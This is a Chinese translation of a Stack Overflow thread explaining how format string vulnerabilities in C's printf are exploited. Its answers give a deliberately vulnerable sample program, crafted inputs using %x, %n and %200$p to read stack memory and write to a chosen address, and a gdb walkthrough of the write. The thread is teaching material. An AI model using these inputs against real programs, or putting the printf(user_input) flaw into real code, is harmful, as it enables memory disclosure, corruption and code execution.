格式化字符串漏洞如何被利用?

68

我正在阅读关于代码漏洞的内容,发现了这个格式化字符串漏洞

维基百科表示:

格式字符串漏洞最常见的出现是当程序员想要打印一个包含用户提供数据的字符串时。 程序员可能会错误地写 printf(buffer) 而不是 printf("%s", buffer)。第一个版本将 buffer 解释为格式字符串,并解析其可能包含的任何格式指令。 第二个版本只是像程序员预期的那样向屏幕打印一个字符串。

我理解 printf(buffer) 版本的问题,但我仍然不知道攻击者如何利用这种漏洞执行有害代码。请问能否举一个例子告诉我如何通过这种漏洞进行利用


1
参考一下,缓冲区溢出攻击的问题在这里:https://dev59.com/L2s05IYBdhLWcg3wQvyq - Mysticial
@Mehrdad:为什么printf要从堆栈中弹出任何内容?它不知道(也不关心)最初推了多少参数(甚至大小)... - user541686
谢谢,我熟悉缓冲区溢出攻击,但我仍在努力理解攻击者如何使用printf控制返回地址。如果可能的话,请有经验的人提供一个例子以使其更加清晰明了。 - Atul Goyal
5
@Mehrdad:它并没有从堆栈中弹出任何内容,只是读取数据。请注意调用者甚至可能比被调用函数所需的参数还要多,但是调用者负责清理。被调用函数不知道也不关心这个 -- 它所做的只是读取数据。这就是为什么在C语言中,使用可变参数时不能有被调用函数进行内存清理的情况。 - user541686
1
@Mehrdad 现在你让我开始思考了...看起来你是对的。它确实从堆栈中读取更多数据,但这并不一定意味着弹出操作。 - Mehrdad Afshari
显示剩余2条评论
6个回答

99

你可能可以以直接或间接的方式利用格式字符串漏洞。让我们以以下内容作为示例(假设没有相关的操作系统保护措施,这在任何情况下都是非常罕见的):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

这个漏洞的基础是具有可变参数的函数行为。实现处理可变数量的参数的函数必须从堆栈中读取它们。如果我们指定一个格式字符串,让 printf() 在堆栈上期望两个整数,并且我们只提供一个参数,则第二个参数将必须是堆栈上的其他内容。通过扩展,如果我们控制格式字符串,就可以拥有两个最基本的原语:


从任意内存地址读取

[编辑] 重要提示:我在这里做出了一些关于堆栈帧布局的假设。如果您理解了漏洞背后的基本原则,并且它们在操作系统、平台、程序和配置之间也不同,那么您可以忽略它们。

使用%s格式参数可以读取数据。您可以在printf(text)中读取原始格式字符串的数据,因此您可以使用它来读取堆栈中的任何内容:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

写入任意内存地址

您可以使用%n格式说明符来写入到任意(几乎任意)地址。再次假设我们的易受攻击程序如上,让我们尝试更改some_value的值,该值位于0x08049794处,如上所示:


./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
我们已经使用在遇到%n格式符之前写入的字节数来覆盖了some_value(参见 man printf )。我们可以使用格式字符串本身或字段宽度来控制此值:
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

有很多可能性和技巧可以尝试(直接参数访问、大字段宽度使环绕可能、构建自己的原语),这仅仅触及冰山一角。我建议阅读更多关于fmt字符串漏洞的文章(Phrack有一些非常优秀的文章,虽然它们可能有点高级),或者涉及该主题的书籍。


声明:这些示例是从Jon Erickson的书《黑客攻防艺术(第2版)》中提取的[虽然不是逐字逐句]。


2
嗨,我想知道 $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n 是如何工作的?为什么整个前面都打印出了“??”?它是如何到达内存地址0x09049794的?非常感谢。 - Einheri
4
打印出问号的原因是因为 $(printf "\x94\x97\x04\x08") 会尝试将这些数值转换成字符。由于这些数值不是可打印字符,你的终端会打印出一个问号来代替(试试 printf "\x41\x42\x43\x44",它会打印出 ABCD,因为这些是有效的ASCII值)。 - Freek Kalter

20

有趣的是,没有人提到POSIX支持的n$符号。如果您可以作为攻击者控制格式字符串,您可以使用以下符号:

"%200$p"

读取堆栈中的第200个项目(如果有)。意图是将所有的 n$ 数字从1到最大值都列出来,并提供了一种重新排序格式化字符串中参数出现的方式,这在处理国际化(本地化、全球化、多语言化*)时非常方便。

但是,有些(可能是大多数)系统对于如何验证 n$ 值有点懒散,这可能会导致攻击者滥用格式化字符串。再加上 %n 格式说明符,这可能会导致写入指针位置。


* 缩写 I18N、L10N、G11N 和 M18N 分别代表国际化、本地化、全球化和多语言化。数字表示省略字母的数量。


谢谢提醒!我一直在寻找一个解释。 - Mikefox2k

9
啊,答案在文章里!
无控制格式字符串是一种软件漏洞,发现于1999年左右,可用于安全漏洞。之前被认为是无害的格式字符串漏洞可以用于使程序崩溃或执行有害代码。
典型的漏洞利用使用这些技术的组合来强制程序用指向某些恶意shellcode的指针覆盖库函数的地址或堆栈上的返回地址。格式说明符的填充参数用于控制输出的字节数,%x令牌用于从堆栈中弹出字节,直到到达格式字符串本身的开头。格式字符串的开头被设计成包含% n格式标记可以覆盖要执行的恶意代码的地址。
这是因为%n会导致printf向栈上的变量写入数据,但这意味着它可以任意地写入某些东西。只要有人使用该变量(如果它恰好是函数指针,则相对容易,因为你刚刚发现如何控制其值),他们就可以任意执行任何操作。
查看文章中的链接;它们看起来很有趣

2
我建议阅读有关格式化字符串漏洞的 讲座笔记。它详细描述了发生的情况以及如何发生,并且有一些图像可以帮助您理解该主题。

0

据我所知,这主要是因为它可能会导致程序崩溃,被视为一种拒绝服务攻击。你只需要提供一个无效的地址(实际上用几个 %s 就足够了),就会成为简单的拒绝服务(DoS)攻击。

理论上,在异常/信号/中断处理程序的情况下,任何东西都有可能触发它,但是我不知道如何做到这一点——你还需要弄清楚如何将任意数据“写入”内存。

但是,你可能会问为什么会关心程序崩溃呢?那不仅仅只是给用户带来不便(他本来也配得上),对于某些被多个用户访问的程序来说,它们的崩溃代价是不可忽略的。或者有时它们对系统的运行至关重要(或者它们正在执行非常关键的任务),这种情况下就会对你的数据造成损害。当然,如果你让记事本崩溃,没人会在意,但如果你让 CSRSS 崩溃(我认为它实际上也有类似的漏洞——具体来说是双重释放漏洞),那么整个系统将随之崩溃。


更新:

请参见此链接,了解我所提到的CSRSS错误。


编辑:

请注意,读取任意数据和执行任意代码一样危险!如果您读取密码、cookie等敏感信息,那么这与执行任意代码同样严重——如果您有足够的时间尝试足够多的格式字符串,这是轻而易举的。


1
@Atul:哈哈,谢谢。:) 是的,如果有人能提供一个实际的任意代码执行示例,我绝对想看看! - user541686
@Atul:我发布了另一个答案,来自文章本身。如果我成功编写代码,我也会这样做--但那是一种直接的攻击方式,正如你所期望的那样。 - user541686
8
这个答案毫无意义。鉴于你的“正确”答案,请将其删除。 - Gabe
1
该帖子的发起者想知道如何利用 printf 执行有害代码。您提到了 DoS 攻击,这可能是一种攻击方式,但它并不能解释如何执行有害代码。CSRSS 不使用 printf,因此它也无法回答发帖者的问题。 - Gabe
@Gabe: 我认为Mehrdad的观点足够公正,因为虽然这不是关于攻击者如何执行他的代码,但它仍然涉及利用所讨论漏洞的重要漏洞。对我来说,这个答案至少不是无意义的。 - Atul Goyal
显示剩余3条评论

0

一点理论

如果你想看到在自定义地址跳转的实际技巧,请跳到第二部分。

让我们尝试调整printf()技巧中的格式字符串。

printf("ABABABAB");

但是直接将HEX地址编码为格式字符串是不起作用的。整个重点是将某个地址伪装成堆栈中会被攻击利用的地址,但是我的格式字符串"ABABABAB"最终在.rodata节中而不是我们想要的堆栈中。
Breakpoint 1, __printf (format=0x555555556004 "ABABABAB") at ./stdio-common/printf.c:28
(gdb) i args
format = 0x555555556004 "ABABABAB"

当在进程内存映射中查找此地址时,很可能是.rodata节。
      Start Addr           End Addr       Size     Offset  Perms  objfile
  0x555555554000     0x555555555000     0x1000        0x0  r--p   /home/drazen/proba/main
  0x555555555000     0x555555556000     0x1000     0x1000  r-xp   /home/drazen/proba/main
  0x555555556000     0x555555557000     0x1000     0x2000  r--p   /home/drazen/proba/main
  0x555555557000     0x555555558000     0x1000     0x2000  r--p   /home/drazen/proba/main
  0x555555558000     0x555555559000     0x1000     0x3000  rw-p   /home/drazen/proba/main

并使用readelf进行检查:
drazen@HP-ProBook-640G1:~/proba$ readelf  -p .rodata  main 
String dump of section '.rodata':
  [     4]  ABABABAB

到目前为止还好,但奇怪的是当我转储堆栈并期望在堆栈帧中找到作为传递给printf()的参数的ABABABAB字符串地址时。
(gdb) i frame
Stack level 0, frame at 0x7fffffffddf0:
rip = 0x7ffff7de16f0 in __printf (./stdio-common/printf.c:28); saved rip = 0x555555555165
called by frame at 0x7fffffffde00
source language c.
Arglist at 0x7fffffffdde0, args: format=0x555555556004 "ABABABAB"

你可以看到返回地址到main()的0x555555555165,并期望在地址0x7fffffffdde0上找到堆栈上的格式化字符串地址 但是当我们转储堆栈时,而不是格式化字符串地址,只有8个字节的零,应该是函数参数,在__libc_start_call_main()堆栈帧返回地址和printf()堆栈帧返回地址之间。
(gdb) x/32gx $sp
0x7fffffffdde0: 0x0000000000000000  0x0000555555555165
0x7fffffffddf0: 0x0000000000000001  0x00007ffff7daad90
0x7fffffffde00: 0x0000000000000000  0x0000555555555149
0x7fffffffde10: 0x0000000100000000  0x00007fffffffdf08

那么地址格式字符串是如何传递给prIntf()的呢? 当我们转储寄存器时,我们在rsi寄存器中看到了格式字符串的地址。
(gdb) i r
rax            0x7ffff7f9b868      140737353726056
rbx            0x0                 0
rcx            0x0                 0
rdx            0x7fffffffdcf0      140737488346352
rsi            0x555555556004      93824992239624
rdi            0x7ffff7f9b780      140737353725824

因为函数参数(在这种情况下是字符串地址)将通过rsi和rdi寄存器传递,以提高速度,并且不会在堆栈中使用格式化字符串和字符串参数来实现这个技巧。
所以我们可以只使用作为本地(自动)变量创建的字符串,将其放入堆栈中,放在当前堆栈帧的返回地址之前。

实际例子

无论如何,我尝试了这个小例子,它起作用了,打印出地址并放入本地字符串(在堆栈上创建)。因此,我们可以使用这个技巧来使本地字符串模拟我们想要访问的地址:

Sample code

我们必须打印5个随机值,直到我们得到我们想要的本地字符串!
使用十六进制格式%x显示堆栈上字符串avronanaloli的HEX表示(使用%s字符串格式会导致分段错误,因为printf()会将这些值解释为字符串的地址,但这些“地址”可能不在进程的映射区域内或者在受保护的内存区域内)。

Output

所以现在我们使用本地变量在堆栈上“伪装”成数据访问。 但是如果我们可以利用这个来尝试写入那个地址呢?
让我们将最后一个%X格式说明符更改为%n。 不再使用%X打印堆栈上的数据内容,而是将这个数据作为变量的地址,printf()将在其中存储已打印字符的数量。 因此,我们的想法是获得对自定义地址的写入权限。
printf("ABABABAB\n,%016llX\n,%016llX\n,%016llX\n,%016llX\n,%016llX\n,%016llX\n,%016llX\n,%n");

我们的虚假地址0x61616161616161以ASCII码"aaaaaaa"表示,最终存储在%rax寄存器中,printf函数将在该地址写入已打印字符的数量(存储在r12寄存器中):
(gdb) i r
rax            0x61616161616161    27410143614427489
rbx            0x555555556052      93824992239698


      0x00007ffff7df7c3c <+7180>:   jne    0x7ffff7df8276 <__vfprintf_internal+8774>
   => 0x00007ffff7df7c42 <+7186>:   mov    %r12d,(%rax)

但在我们的情况下,由于地址0x61616161616161没有映射到进程内存中,这将导致SEGV分段错误。
Continuing.
ABABABAB
,00007FFFFFFFDF08
,00007FFFFFFFDF18
,0000555555557DB8
,00007FFFF7F9BF10
,00007FFFF7FC9040
,0031313131313131
,0032323232323232
Program received signal SIGSEGV, Segmentation fault.

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接